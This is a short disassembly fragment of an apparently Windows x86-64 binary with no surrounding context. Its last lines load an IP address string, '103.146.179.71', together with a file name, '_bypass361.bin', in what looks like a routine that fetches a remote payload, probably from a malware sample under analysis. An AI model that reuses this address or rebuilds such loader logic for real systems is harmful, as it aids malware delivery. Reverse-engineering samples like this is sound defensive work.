lea r9, [rsp + 0x48]
mov rdx, rax
call qword [0x14000c990]
test eax, eax
jne 0x140002021
mov dword [0x14000c880], 0xffffffff
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.103.146.179.71
lea r8, str._bypass361.bin
mov edx, 0x58
jmp 0x140001da8